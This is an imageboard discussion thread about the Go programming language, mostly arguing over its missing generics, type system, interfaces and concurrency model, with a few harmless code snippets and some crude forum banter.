All things Go

https://golang.org/ https://gobyexample.com/ func main() { words := []string{"Let's", "love", "Lain"} rand.Seed(time.Now().UnixNano()) q := make(chan string) for _, w := range words { go func(w string) { time.Sleep(time.Duration(rand.Int63n(1e9))) q <- w }(w) } for i := 0; i < len(words); i++ { fmt.Println(<-q) } } Good morning lainons, any of you use Go? What are your opinions? I only recently started using it a bit, I mainly come from C and Haskell, really liking the minimal language design, the fact that it compiles and the easy, practical concurrency. However somehow the fact that it is developed at Google makes me uncomfortable, probably pretty irrational, but it is what keeps me from fully enjoying it.

I keep trying to use Go but its lack of a good type system prevents the language from being used for larger types. For example, despite Go being praised for its easy-to-use concurrency, here's no sync.Map because that requires generics. Without a larger type system big projects become messier, so Go is rarely used for more than simple programs and glue code. TL;DR lol no generics

>>6021 >no generics stale meme, try again last year

>>6069 Does that mean Go has generics now?

Go doesn't really have enough of a type system to be fun to work with in my freetime. I have done some small-ish CRUD and web apps with it and it seems well suited to those. I can't really give an opinion on whether it's suitable for large projects, as I haven't used it for any. I still don't really see any sort of niche that it would be better suited for than other languages, though.

>>6080 They made Docker with Go, when I realized it I began to see this language as a serious one.

>>6085 I haven't been able to use docker at all on my computer myself. I keep hitting known bugs.

I dont see why we need new build systems at all makefiles have been working fine for decades

>>6085 You can make docker with python. Even bash. It's not a good measure for a serious language

>>6089 I disagree. Docker is a pretty solid software, the language has some merit.

>>6088 No, make is a terrible pile of hacks. Writing anything but the dumbest, most straighforward Makefile is not trivial at all, and making it scale is a fruitless endeavor. The fact that even soykaftier hacks like autotools have proliferated so much is Make's fault for being such a soykafty tool. C desperately needs a better build system, and Make is not nearly enough.

>>6088 >I dont see why we need new build systems at all makefiles have been working fine for decades Makefiles worked fine in the past when software was simple and people actually knew how to code. Unfortunately, many modern companies are in a position where they can't build or deploy an application without pulling in 5GB of dependencies and having a unique configured environment exactly like their snowflake 10x brogrammer's machine. That's the problem that Docker solves. >>6093 I think the point of the post you are responding to is that there is nothing about Docker that relies on some unique feature of Go or is amazingly better because it was written in Go. It really could have been written just as well in Python of Bash.

I am starting to use Go as some kind of "Python for C programmers" which feels pretty good so far. >>6080 Docker and Syncthing, also Caddy (which I am not the biggest fan of, but for different reasons) at least are written in Go, also Hugo, which is my favourite static site generator so far: single binary, easy to use, deploy, and contribute, which in general seems like a philosophy the golang community follows. Compare to similar software written in Ruby/Python, I always have to clutter my current system, and all future systems with all their dependencies. Why would it not be suited for larger projects? It seems to fill a niche that would not be very populated otherwise. It's quicker to write in Go than C, but still a pretty fast and compiled (!) language. It seems like it really scratches an itch for me. It might sound like that, but I'm not yet sure whether I completely like Go, but my first impressions, as well as it's philosophy, as mentioned above, really make a good impression. I would like to read some critique that is more differentiated than the usual "generics" echochamber.

>>6019 I primarily use Go at my day job. My employer has several APIs used in B2B applications and the dev team chose Go because it gets out of the way of the programmer and has excellent reliability due to its type checking and strict error handling strategy. Combined with code linting I have seen a total of three runtime errors in development, none of which made it to production. My opinion of Go is that it requires more thought and design up-front, but the benefit is that it makes debugging and code readability a breeze. It's like buying something in cash versus taking out a loan...you feel a slight sting when the money leaves your wallet, but when you see everyone around you drowning in debt - you realize you made the better long-term choice.

>>6131 I used it for the first time at work too to request json from our configuration management software and get a list of all the VMs and some of their statistics since our infrastructure is soykaf. All this was all rendered onto an ugly html/css page using the vanilla http/html library. Later I put it in Beego which is a nifty MVC web framework that made it all a bit easier with templating and routing. Later on I made a search engine for some of the VM statistics and it became pretty useful to my employers -- It's nice seeing them use it in meetings and such. Feels good as a young student desu, especially for my first webapp besides a personal website. But there has not been a single person I've talked to at my state school that has used Go before or at any local corp employees I've informally talked to, but I'm going to be hedging my bets on it in terms of employability when I graduate and hopefully move west. It's a fun language, but I have been having some issues with the lack of generics though, especially with parsing arbitrary json. But it's still the most useful language I've used so far.

>>6131 >strict error handling strategy you mean like result, _ = func() ?

Go is disgusting. But I think with some metaprogramming facility (third party, of course, those assholes will never include something like it in the language by default), I can tolerate using this piece of shiet for some project.

>>6152 Mimimi I don't like this cuz it's not created i the way that i want to be. Are you retared or something? Or you are just frustated teeanger? Tell me real args

>>6159 Don't be naive, boy, the criticisms are widely known. It's pointless to repeat them here "yada yada generics exceptions". People eventually will get sick of it and write transpiled languages like they did for Javascript. Go's runtime is awesome, but the language is unpleasant to work with. People are moving towards code generators for avoiding copy'n pasting in Go, it's just a matter of time for a transpiled language to be born.

>>6161 > but the language is unpleasant to work with. People are moving towards code generators for avoiding copy'n pasting in Go Which metric are you using for that statement besides you simply not liking the language, who is "People"? You will have to deal with people disagreeing with you on your personal sentiment in this matter, and that there is nothing wrong with that. But I get that there is somehow an increasing hatred for UNIX philosophy. Go has issues, but being unpleasant to work with is certainly not one of them.

>>6191 There's nothing special about Go as a language. The runtime is very good, goroutines are nice, but the language itself is unpleasant. It's just a procedural language with limited OO support and closures. In this way it's very similar to Lua and Javascript. But being statically typed means it's a pain in the ass to write flexible code so you must to rely on the "interface{}" shiet or reflection.

>>6214 > I don't like how a statically typed language gives me a way to write code that shouldn't be possible in a statically typed language Your problem seems to be with statically typed languages. If they aren't your cup of tea, don't use them. The way it uses the empty interface is nifty to me. But to each their own.

>>6220 You can do it in a type-safe way in any statically typed language worth its salt, because they have generics. Go doesn't even let you do basic soykaf like writing a container that can contain values of a single arbitrary type. When iterating through collections returned by an unknown library, you have to check the type of every element at runtime because the type system doesn't protect you.

>>6224 >>6224 I was going to post the same, kek.

https://github.com/golang/go/issues/15292 https://github.com/golang/go/issues/19007 Look all of this damage control, hahahahaha, it's hilarious!

I guess it's a testament to Go that people cry so hard about generics instead of just using another language.

>>6268 Aren't the ones crying about generics the people who do not use or have to use the language at all?

>>6270 I like to think people have better things to do than complain about a language they don't even use but this is the internet.

>>6273 People put quite a lot of energy into that.

>>6268 I think the main issue is that Go actually has some really nice design features if you disregard generics (for example, interfaces and structural subtyping). I could definitely see myself using Go if it adopts some form of Generics. But not including them means that a lot of code idioms that I use very frequently would be impossible to express effectively leading to either a ton of boiler plate. The alternative is having to use interface{} and reflection which makes the performance and safety go down to the level of a dynamic scripting language, and if I'm willing to do that I might as well just use an actual scripting language. People don't complain about generics for no reason. They do so because it's a really key feature to have in any statically typed language.

>>6277 Go is a procedural language with limited OO support and high-order functions/closures. It seems like a statically typed Lua.

>>6279 Lua has excellent prototype-based OO with tables/metatables though, which ends up being more powerful than that of many statically typed languages if used properly. I think a better description of Go is that it is halfway between Python and C. It is like a Python with metaclasses or inheritance but with structurally subtyped interfaces to emulate duck typing, in a language with C syntax. It has a limited C-like subset, but for anything nontrivial it is used as a dynamically typed language using interface types.

>>6284 * without metaclasses or inheritance

>>6277 I couldn't agree more. There's no generic on the roadmap for Go 2.0. I think there's no single line of code written in this direction. Phuck this fagget language. When Scala native become production ready, it'll be the ultimate language for the problem domain Go is good for.

People who want generics are usually trying to do something stupid.

>>6298 People who want Go are usually doing something stupid. See how easy this is?

>>6298 Wanting performance better than that of a dynamically typed scripting language is stupid? In compiled languages, generics and monomorphization is a key ingredient in making non-trivial code fast. Otherwise you're going to have tons of runtime typechecks and pointer indirections behind the scenes. By design, Go is only fast-ish for trivial toy problems which only deal with array accesses and structs. As soon as you do something which requires interface types, it slows down a lot compared to idiomatic code in other compiled languages.

>>6307 Generics are more like training wheels, they can help when you have no idea what you're doing but are quite useless in the long run. I can think of very very few pieces of codes that couldn't be strictly improved by forgoing them completely, so no support for generics is a sensible, albeit controversial among beginners, design choice. Remember that generalized code is always worse than specialized, that's software engineering 101.

>>6309 You need generics for things like the curiously recurring template idiom. I agree that you definitely don't need generics if you have void pointers

>>6309 >>6310 >> you definitely don't need generics if you have void pointers Is this some kind of sophisticated trolling or what?

>>6309 >Generics are more like training wheels, they can help when you have no idea what you're doing but are quite useless in the long run. >I can think of very very few pieces of codes that couldn't be strictly improved by forgoing them completely, so no support for generics is a sensible, albeit controversial among beginners, design choice > Remember that generalized code is always worse than specialized, that's software engineering 101.

Can I just ask if I got this right. You write code like a sort function which works on a specific data type. Then you realize the same code would work on other data types too. So instead of copy and pasting the function for each data type, most languages have some concept of "generic" which lets one function operate on multiple data types. (Like C++ templates). Is that what we are fighting about here? I don't understand why this type of feature is "training wheels" or how copy and pasting your code 5 times for 5 different datatypes is an "improvement". >Remember that generalized code is always worse than specialized, that's software engineering 101. What does this mean? What is "specialized" code?

>>6309 >I can think of very very few pieces of code that couldn't be strictly improved by forgoing them completely That you can't think of any doesn't mean they aren't bountiful. >Remember that generalized code is always worse than specialized, that's software engineering 101. Tell that to everyone who has ever authored a book on design patterns, software engineering, or code quality that recommended writing flexible enough code to deal with changing requirements.

>>6309 >Remember that generalized code is always worse than specialized, that's software engineering 101. Quality specialization does not scale well. That's why we have compilers and libraries instead of rewriting every thing in assembly on a per project basis. More importantly, the main purpose of a computer is automation. If you're using a computer to do things manually, you're missing the point.

>>6318 Yes, you understand what is being discussed Go does not have a way to write a sorting algorithm or data structure that works with multiple types. To do this in Go, a programmer must either rewrite the algorithm or data structure each time, create a tool that generates data structures and algorithms by parsing a superset of Go, or use casting to circumvent the type system and any static type system checks.

>>6321 Actually, a generic sorting algorithm (on slices) would work extremely well in Go, if you require the type in the slice to be of some sort of Comparable interface. What doesn't work in Go, is creating a generic data structure, like a queue, that can contain values of any type but forces them to all have the same type.

>>6321 >>6318 Go has a code generation tool for the very specific case of just copy pasting with different types. Interfaces cover most situations where performance and type safety aren't critical. Also, closures. It's probably overlooked because most languages with closures are either dynamic or come with generics, but in my code closures alone cover a large part of the use case of generics. Moving operations on different types into higher order functions with simple signatures that just give them a basic context to work in obviates a lot of the practical need for generics. >I don't understand why this type of feature is "training wheels" or how copy and pasting your code 5 times for 5 different datatypes is an "improvement". I've never heard generics called 'training wheels' but the reason it's an improvement is because the go creators don't think anyone's ever really implemented generics well in any language. C++ templates are conceptually incomplete and an obvious train wreck to anyone who's ever used or debugged them, and languages with more bulletproof type systems like Rust or Haskell tend to spiral out of control with the level of abstraction and complexity that comes with them. The go creators didn't want that and admitted they didn't have a better solution, so they just punted it possibly to the next version of the language and threw the baby out with the bathwater.

>>6329 >Moving operations on different types into higher order functions with simple signatures that just give them a basic context to work in obviates a lot of the practical need for generics. >languages with more bulletproof type systems like Rust or Haskell tend to spiral out of control with the level of abstraction and complexity that comes with them This is very telling. Any existing already implemented solution is too complicated to understand and its benefits are downplayed. The type system of Haskell is probably the easiest part of it to understand.

>>6330 The type system in Haskell is not that difficult but it gives license to further complexity in the types themselves, which in turn is ironically a large part of why it's probably one of the easier parts of the language to pick up, and why the rest of it has a reputation for being unwieldy. The fear in go isn't that users won't understand generics, it's that they'll embrace them and replicate the culture of over-engineering in other languages.

>>6322 couldn't your data structure have a field that contains the data type you want to hold? like type []interface. then just make sure that when you add something, the type of the 'type' member is the same type as what you're trying to add. If this seems really unclear let me know and i'll throw together an example

>>6322 >>6356 ignore me saying []interface instead of interface{}. I went ahead and made it anyways. Could be made cleaner, i'm still pretty new to this though. package main import ( "fmt" "errors" ) type queue struct { Type string Q []interface{} init bool } func (q *queue) Add(item interface{}) error { if !q.init { q.Type = fmt.Sprintf("%T",item) q.Q = append(q.Q, item) q.init = true return nil } else if fmt.Sprintf("%T",item) != q.Type { return errors.New("Wrong type! Queue is of type "+q.Type+". Given type: "+fmt.Sprintf("%T",item)) } q.Q = append(q.Q, item) return nil } func main() { myQueue := new(queue) if err := myQueue.Add(5); err != nil { fmt.Println("Error adding to queue:",err) } if err := myQueue.Add(4); err != nil { fmt.Println("Error adding to queue:",err) } if err := myQueue.Add("hello"); err != nil { fmt.Println("Error adding to queue:",err) } }

package main import ( "fmt" "reflect" ) type Plop struct { A string } func main() { a := []string{"a", "b", "c", "b"} b := []int64{1, 22, 3, 1, 2} c := []Plop{Plop{A: "A"}, Plop{A: "A"}, Plop{A: "B"}} unique(&a) unique(&b) unique(&c) fmt.Println(a) fmt.Println(b) fmt.Println(c) } func unique(ptr interface{}) { slice := reflect.ValueOf(ptr).Elem().Interface() switch reflect.TypeOf(slice).Kind() { case reflect.Slice: seen := map[interface{}]bool{} s := reflect.ValueOf(slice) sliceType := reflect.TypeOf(s.Index(0).Interface()) typedSlice := reflect.SliceOf(sliceType) uniq := reflect.MakeSlice(typedSlice, 0, 0) for i := 0; i < s.Len(); i++ { if !seen[s.Index(i).Interface()] { seen[s.Index(i).Interface()] = true uniq = reflect.Append(uniq, s.Index(i)) } } reflect.ValueOf(ptr).Elem().Set(uniq) } }

Go is a decent language imho. Not god tier, not bottom tier, but reasonably good. While I wouldn't mind it having generics, if it does adopt them they should be done with type erasure and no monomorphisation. If it does monomorphise code, it should be an option that you can disable, and strictly in a module-local setting. It should be for type safety only, as a measure to deprecate abuse of interface{} . My reasoning for this is that Go is designed in a way that every function could potentially be linked to dynamically by default. You never have to recompile code that you call because of a change at the call site. Even if this implies a significant runtime penalty, I think that this is a relatively rare property which is worth preserving, since all other languages that do this are either languages with no GC or run in a heavy VM. For systems programming that isn't bare metal stuff, it's quite useful. The main thing that would suffer would be functions like map or filter, which would suffer a rather significant runtime penalty compared to bare loops. This is fine. There's not a lot of these. If the community ends up using them heavily, they could be moved into the stdlib and sped up with a bit of compiler magic. The other thing I really like about Go is its philosophy regarding GC. Instead of having a complicated generational GC with a bump-allocating nursery to make allocation cheap, it has a regular call stack for each routine and uses escape analysis when this is insufficient. Since it generates less garbage, it can get away with using a concurrent GC optimized for latency over throughput. There are some abstractions that are cumbersome to build in the current state of the language and they have been politicized, but it did make some really good high level decisions. The error handling is verbose, but the language as a whole is still less verbose than Java.

>>6100 Try meson. It's a simple, non-turing complete language for defining projects, targets, dependencies, etc. It works on top of ninja and it automatically detects changes in a lot of things in the project like changes in the project definition, new build targets, etc

Go needs a Haskell like type system.

>>6740 Try using haskell

>>6740 You might be interested in OCaml. It basically had Go interfaces long before Go existed.

What are generics. Trying to read a Wikipedia article about it, don't get it. Anyway, I absolutely Go. Maybe its because I associate it with my off-time, but I find it a really chill language to use; its faithful to the promise that the rules will stick in one's head easily. I've been writing imageboard software with it (yeah, yeah, yet more IBs). I like how I don't need to faff around with frameworks or dependencies; I just write a couple hundred lines of code in a single text file, compile it, I can spin it up right away. I feel like Go obeys a widely neglected philosophy, keeping things self contained, clean, minimal.

Why does Go get soykaf on so hard? People treat it worse than Rust. Is it the Google association ? I'm curious about it (I just know scraps of C & R , no real programming foundation ) Is Go more than a hobbyist language ? Where is it in lifespan

>>7952 If you've ever programmed in Java, you know what generics are. It's that <T> that sometime pops up when you try to, well, build generic code. >its faithful to the promise that the rules will stick in one's head easily I think this is the main reason why people like Go. It's simple. It's like C, except you don't have to always reinvent the wheel because there's a build system that doesn't suck. >>8029 >Why does Go get soykaf on so hard? Half of it is idiots following the herd or criticizing because it's easier to sound cool by hating on something than by saying you love something else. The other half is people with an interest in programming language design who think that there's nothing exciting or new about Go. It doesn't really explore a design space, it's just designed as a language that should be easy to program in. It's always a bit disheartening to see beautiful ideas fail to catch on while the unoriginal and industrial ones go mainstream. Yes, Go is more that a hobbyist language. I don't understand what you mean by where is it in lifespan though.

>>8029 >Why does Go get soykaf on so hard? There are only 2 types of languages, those that people bitch about and those that nobody uses. If you think people are bashing on Go a lot more than other languages you probably just walked into a toxic echo chamber or something. >Is Go more than a hobbyist language ? It is used extensively in industry (given how young it is). >Where is it in lifespan It's one of Google's look but don't touch type "open source" projects. I'm not sure what would happen if Google abandoned it but I don't think that will happen since it is actually useful and successful.

>>8036 > I'm not sure what would happen if Google abandoned it Being open source means that the technology itself is guaranteed to outlive the original creator's interest. Popularity is another issue though.

>>6085 >They made Docker with Go, when I realized it I began to see this language as a serious one. Actually those guys (that I indirectly know) likes C and coded a lot of C. Go is really similar to C with auto memory management so pretty handy when you're working on a software that does not need to be fast. (So can be GC)

is Go more employable than Haskell? Is there any future for Go in this industry as a systems language or will it just be a curiosity

>>8148 >is Go more employable than Haskell? by several orders of magnitude >Is there any future for Go in this industry as a systems language this is a bad meme

>>8151 whats the bad meme? Go doesn't have generics.

>>8159 he might be referring to how "systems language" was driven to soykaf by the RUST EVANGELISM STRIKEFORCE

>>8169 so then what is Go good for? where do you see it growing in industry? where are the generics??

>>8148 >Is there any future for Go in this industry as a systems language Most things currently written in C can be better implemented in Go. Most of what's left (the actual low level stuff) could be better done in Rust. http://esr.ibiblio.org/?p=7711

>>8159 >>8177 Do the people who say this even have an actual idea why no generics could be an issue to someone

Has anyone else gone down the rabbit hole of embedding? I have used it. Read up on it(what little there is), and even listened to talks on it. I'm amazed that no one really ever talks about it.

>>8169 but Rust and Go have different use cases? Whenever someone starts going off on me about "systems" I know they are full of it anyway. Everything is a system. One set of people uses the term for "drivers and OS" and another uses it for "I wrote a breakerboard system of microservices! I hope it doesn't cascade into failure!"

Struct embedding in Go is really neat. It's basically what I wish most object-oriented languages had instead of inheritance from a non-interface type.

>>8186 Could in the future be better done in Rust maybe. Bare metal rust is still in its early days. It is absolutely not ready for any "real" work. It's possible now to write, say, a bootloader in rust, for the limited platforms that are supported, but it's still all very new.

The only thing nice about Go is that nil is a bit smarter than NULL/null in many languages. Its meaning is different according to where it is being used. A nil slice can be appended, printed, have its length accessed, without breaking the program, it will just behave as a empty slice. Awesome.

>>9666 I love the whole philosophy that zero-values should have meaning/use

>https://go.googlesource.com/proposal/+/master/design/go2draft.md What does everyone think of this? >generics >error handling I'm optimistic that it will make Go easier to use for more tasks.

>>10247 these are good reading even if you don't care much for Go. thoughtful with good links and examples.

>>8148 Where I live there's about 40 unfilled mid to senior level Go positions.

>>10247 The generics implementation is going to make compilation a lot slower. The error handling syntax makes me physically ill.

>>10733 What city (or region) is this?

>>9670 >>9666 wait till you see what undef can do in Perl :) >>6019 thanks for the site suggestion, OP. I'm looking to do some Ada chrestomathy.

>>6314 They did surgery on the grape

Anyone using Go for gamedev? I've been thinking of taking these SDL2 bindings for a spin: https://github.com/veandco/go-sdl2 It sounds good on paper but I suspect most game developers run away screaming at the mention of GC? In my experience it's never been a problem in any other language, and it's not as if I'm thinking of doing anything "modern" and stressful that I'd probably otherwise be doing in C++.

Hi guys, I'm new to GO. I want to make sth like http.FileServer() but with custom html and style. How should I start? Any safety warning regarding URL paths. maybe some way to prevent tampering like '..' characters, etc?

>>11657 I started with ReadDir from ioutil, and html.EscapeString() for URL.path. What do i have to test to make it secure and not leak files outside of root folder?

>>11662 Use regex to match valid paths

I've only started looking at the language, and my thoughts on the lack of generics thing is, I'm fairly certain that Rob Pike, Ken Thompson et al were aware of generics when they designed go, and chose to conciously leave it out for good reason.

>>11669 >I'm fairly certain that Rob Pike, Ken Thompson et al were aware of generics when they designed go I don't think anyone doubts that Pike and Thompson knew about generics. Generics are so pervasive that almost every statically typed language has something like them. The only exception is C, and that doesn't stop people from reinventing generics with macros or subverting the type system with void pointers to get the same behavior. Pike and Thompson were certainly aware of generics. Why they deferred their addition is a lot harder to understand. Clearly generics weren't necessary to get a user base.

>>9666 That's not nice, that's genuninely horrifying. Trying to get the length of a nil should give you an error so that you know it's there.

>>11747 Eh, it's just one way of doing the null object pattern. Whether you have a custom null object or a method that dispatches on a null value isn't always a super important distinction. For instance, a tree that stores values at branch nodes could represent leafs with nil and then define functions that dispatch on nil. Whether or not this is idiomatic depends on the language.

>>11745 >Why they deferred their addition is a lot harder to understand. Clearly generics weren't necessary to get a user base. Roby Pike and Ken Thompson clearly are not as smart as Bjarne Stroustrup, Im sure they knew their userbase would be made up of dummies who wouldnt notice the huge embarrasement of not being able to implement a template system in Go

>>11662 This lainon here, I've got some time to work on this and learn some Go. This is what i've got, but have substantial problems: https://ghostbin.com/paste/58dn6 1. Don't know how to follow nested dir paths. Should I edit <a class="file-link" href="{{ .Name }}"> template to point href to the full r.URL.path and append a / before the .Name, Is this the correct solution? 2. Can't get the ServeFile error in order to return, for example, a 404 instead of a crash. Maybe you can give some hint or comment whatever you see it's wrong.

>>11754 Also, don't know if the error handling is OK. It confuses me a little. :/

Should I learn Go? How can I learn? I am desperste for cash

>>13253 If you are desperate for cash your best bet it to learn JavaScript and whatever framework is popular right now. You should be able to find frontend work in all of the western world this way.

A few simple Go questions because I'm fuarrrking new: Can I embed an interface in another interface and overload one of its functions? I tried but the linter claims it's redeclared with a different type and soykafs in my face. Is the problem with types? Does it mean I can't return some interface type when a struct expect another type? Here's the offending code: type IPersistentCollection interface { Seqable Count() int Cons() IPersistentCollection Empty() IPersistentCollection Equiv() bool } type ISeq interface { IPersistentCollection First() Any Next() ISeq More() ISeq Cons() Iseq } I'm trying something a bit naive and stupid, and I'm not a Java either, but let's see where it goes...

>>6287 >When Scala native become production ready, it'll be the ultimate language for the problem domain Go is good for. As a scala user, unfortunately I don't think so. Scala is too difficult for code monkey's to learn, while Go is very easy. If Scala was going to dominate Go's market place, it would have already done it by now because of the robustness of the JVM. Unfortunately, everything in tech goes to the lowest common denominator, i.e. what is the most easy to learn, retard proof language.

>>13253 Become a Java user or a Javascript user. EIther way you get cancer.

>>11752 Rob Pike was sick of C++ build times, its the main reason why Go was invented, RP had idle time during long compiles to wonder why C++ sucked so much

>>6686 name a god tier language

>>14018 Common Lisp?

Pretty much sums up Go. >it is often said that small is beautiful. now, anything can be beautiful when it is small. the ugliest person you can think of was probably a quite pretty baby. it doesn't take much effort to find a beautiful 16-year-old girl, either. in fact, our modern notions of beauty and elegance are _defined_ in terms of size and maturity, so the chance of anything small and immature being beautiful is vastly higher than anything big or mature. now, despite all the marketing that seems to be aimed at telling me that I should dump a girlfriend when she becomes 25 and get a new 16-year-old (or even younger), I plan to stay with mine partly because of her ability to grow older in a way I like. consequently, I take exceptions to the pedophilic attitudes to beauty and elegance that our societies have adopted over the years. this is why I don't like the "small is beautiful" model of aesthetics. this is why I think that almost anybody could make something small and beautiful, but only a few can create something that grows from small to huge and still remains beautiful. but then again, look at interior architecture -- with huge spaces come a need for size-reducing ornamentation. the scaling process _itself_ adds "junk" to what was "clean surfaces" in a small model. Schemers refer to Common Lisp's "warts", and prefer to think of Scheme as "clean". now, I wonder, would Schemers prefer to live in small houses with nothing on their walls? would they still prefer this if the walls were a 100 feet high and 200 feet long, or would they, too, desire some ornamentation that would have looked _very_ bad if it had been on a 10 by 20 feet wall? https://www.xach.com/naggum/articles/3063960348777794@naggum.no.html Of course, the crazy joke is that Go *will* grow and eventually become like C++ because it's inadequate for programming in the same way bare bones Scheme is inadequate. The difference is, Scheme can add libraries and become something like Racket or Guile, but Go has to add syntax. The only alternative is Go dies before it has a chance to become ugly.

>>14018 Pascal.

>>14018 Haskell, Idris

>>13420 I don't think you can redeclare the interface method with a different type. Since `ISeq` implements `IPersistentCollection`, you should be able to return an `ISeq` even if you declare that `Cons()` returns an `IPersistentCollection` since they will both satisfy the interface.

>>6019 i think im going to have to use go in one of my projects at uni for a web app, ive only made web apps in java before is there a jsp like interface for go ? and what should i expect going into this?

>>6268 From what I've read about generics, they seem more like a labour-saving code-reuse feature rather than a feature that enables otherwise-unavailable functionality. Is this accurate? (I'm an amateur returning to programming as a hobby again after a two-decade absence, so if I'm wrong here, please let me know.)

>>14429 ... yep. That's exactly it. Any problem you can solve in a turing complete language, you can solve with another turing complete language. Therefore, any convenience provided by one, that the other lacks, can be solved through feats of greater exertion or repetition. If you rate features exclusively on the weight of "does it allow me to do something I otherwise couldn't do?" you will therefore always be disappointed. Language features do not grant new capabilities. Programmers had all the power they needed with FORTRAN. Generics let you write code once and then apply it to many different types. You could just copy&paste your code, but in practice, over time, such copies tend to diverge. Consider: 1. you write the code, you copy&paste it, you must make some changes to your pastes in order to customize them for the actual types they're working with. So the copies are immediately different enough that you can't just patch them. You also have to customize any further work. 2. Later, someone else finds a bug or improvement in your code, and this other person makes changes to... some of the copies, because not all types benefit from the improvement, or have the bug (an unnecessary copy of a string might leak memory; an unnecessary copy of an int might not). So now the copies are very different. 3. Later, another bug/improvement is found, and this time the effort required to tell your boss "yes, I definitely fixed/improved it in all of the copies of the code" is equivalent to the effort of writing the code in the first place, because now each copy is only similar enough to confuse you. You violated don't repeat yourself and now you're seeing double and you're stumbling through your code like an idiot, and you make a mistake--you introduce a new bug. But don't worry, because it's only one copy that's completely broken, it'll be a good while before the value of your business is slashed because of it.

>>14430 Thanks for the explanation. My professional background is in accounting and documentation management. From that perspective I suppose I just see generics as an imperfect workaround for incomplete documentation. But then, I'm not a pro developer, nor do I ever plan to become one. I'm just a hobbyist looking to replace my small-business employer's ugly mishmash of Excel/Access/VBA job quotation insanity with a homegrown web app. (Nothing public-facing, nothing complex, nothing on a tight timeline, just something I can run on our LAN and tweak as necessary and document myself. Go is turning out to be fantastic for that.) I suppose the day-to-day realities of pro software developers dealing with large codebases and deadlines makes sticking to strict documentation standards difficult.

>>6279 God fuarrrking damn this. This thing is really just BARELY object oriented.

>>14440 >I just see generics as an imperfect workaround for incomplete documentation. It's not really a documentation thing. It's an issue of abstraction. Imagine if you had to rewrite a function every time you wanted to use it. That's what not having generics or an equivalent solution is like.

>>14589 Interfaces my guy

>>6224 What a terrible hack.

>>14586 You can do OO with interfaces. It is not very complicated. Go does not do advanced OO like generics and templating - basically all of the cruft that made people hate C++ or Java. You can even make go do inheritance with a class that implements an interface. I will admit that if you go this route things get rather convoluted however.

>>14612 Yes, I also use Go.

I liked this post: https://blog.chewxy.com/2018/03/18/golang-interfaces/ It explains the benefits of structurally typed interfaces fairly well imho. The consumer of a type declares the interface rather than the creator of a type.

>>6224 absolutely disgusting

>>14023 >>6085 And kubernetes and openshift

I have to say Go is pretty nice to have as a tool. It has one of the nicest cross-platform GUI libraries I've seen at this point: https://github.com/fyne-io/fyne I'm thinking of using Go for the GUI & Backend for an free-as-in-speech-and-beer polling app for use in college classes, hosted by using the teacher's laptop as a server. Assuming a couple hundred student connections at most, I can easily just have one Goroutine handling the connection to each student concurrently and think of everything iteratively. Right now I'm TAing a class that uses TurningPoint and it's frankly horrible, and requires students to pay money for a subscription to the company to get a decent grade in class. I'm thinking of writing the software to replace TurningPoint for the next year that the class is taught. Still undecided for the frontend though. I'm considering Elm for a web frontend for laptops & tablets since it is extremely easy to write a single-page application in. However, for smartphone frontends, the mobile app ecosystem is generally horrible and every option is bad. I might consider Dart.

>>6069 It's a valid complaint,no generics means you don't have map, reduce, filter and you are forced to copy similar code when you could just <T>.

>>15064 Right. The way I view it is that it turns Go from a general purpose language to a DSL for specific tasks. I still find it very useful for those tasks though. It's great for basic command line tools, anything to do with networking, and now also for quick GUI applications. I'd be less likely to use it for larger personal projects though, and it's ridiculously useless for anything mathy/scientific in my experience, where the lack of generics and operator overloading really hurts it a lot.

>>15064 >It's a valid complaint,no generics means you don't have map, reduce, filter and you are forced to copy similar code when you could just <T>. On the other hand, one doesn't need to shoehorn in all sorts of edge case handling. There's something to be said for a function that's laser-focused on a particular problem. It's all a matter of perspective, use-case, individual approach, etc.

>>15068 >There's something to be said for a function that's laser-focused on a particular problem. The Go language doesn't particularly strike me as a language that's focused on a particular set of problems. The APL language is certainly focused an array manipulations and whatnot. Go, however, just has a large amount of libraries suited for certain tasks, right? That's something I think about these languages, that they're all so similar they differentiate themselves based on purpose more than anything else. If you look at Go, it's a basic C-syntax ALGOL-derivative language. If you take away the libraries and purpose statements, would you still think it's suited and laser-focused for certain problems? Feel free to disagree, but this is to me like so many other languages that clearly look alike and act alike and try to differentiate themselves purely on purpose rather than anything more inherent; one sees this with Python, PHP, Rust, JavaScript, et al.

>>15070 Goroutines and Channels based on CSP are a significant differentiating feature. Go arguably had the best concurrency solution for networking upon launch, which has since been copied by a few newer languages. It's a massively better solution than any of the async/await stuff that falls into the red & blue function trap. Only thing that I'd consider comparable would be something like Erlang since the Actor model is basically the dual of the CSP model. It's basically personal preference between the two, but Go's model is much nicer for an imperative approach imho.

>>15075 You can do some really interesting things with channels in go. I recently implemented a worker queue with custom callback functions, by passing a go routine with as the channel argument, allowing my worker queue to execute the go routines passed to it. The cool thing that because the callback is a go routine, you can basically build your own callbacks in real time. I'd like to see another compiled language do that.

>>15070 You *completely* misunderstood what I meant by the phrase "laser-focused on a particular problem". I meant it in the sense of this: one can copy a function with a similar purpose from one's previous code, and adapt it to fit a specific purpose. This lends itself well to optimization. I don't know what sort of nutty tangent you're going off on, man.

>>15101 What normal language can't do that?

>>15135 Languages that encourage the fetishization of generics as crutches, to the point of normalizing optimization-slaughtering "I'll just add code to handle that edge case in the class" behaviour.

>>15144 Such as. Give any example.

>>15148 Java seems to be a very good example of this. Java has an obsession with boilerplate and interface bloat. One can choose to use a highly modular approach with Go, but just like C++, you're given the option not to conform to any specific software paradigm.

>>15101 omg gophers are still saying this soykaf after 10 years. it should be added to http://golang.web.fc2.com/(You should always elaborate on your opinions.)

>>15149 Java's problem certainly isn't generics. Anyone who has dealt with pre-generics Java and the constant need for type casting will tell you that.

>>15162 >user was derezzed for an anti-go comment LOL. lain users never dissappoint

s/derezzed/bаnned/

>>15232 That's a warning, because there was no elaboration on the opinion. Regardless of how you feel about Go, it gets the same rules for discussion as any other language.

>>15295 no elaboration was needed it's blatantly obvious to any well seasoned programmer, that rewriting concrete instances of a polymorphic type for N types, does not magically lend to optimization.

>>15346 I agree, but there's a difference between explaining it how you have and just posting a meme image.

>>15350 perhaps you should have went with PHPBB instead of an imageboard for your website

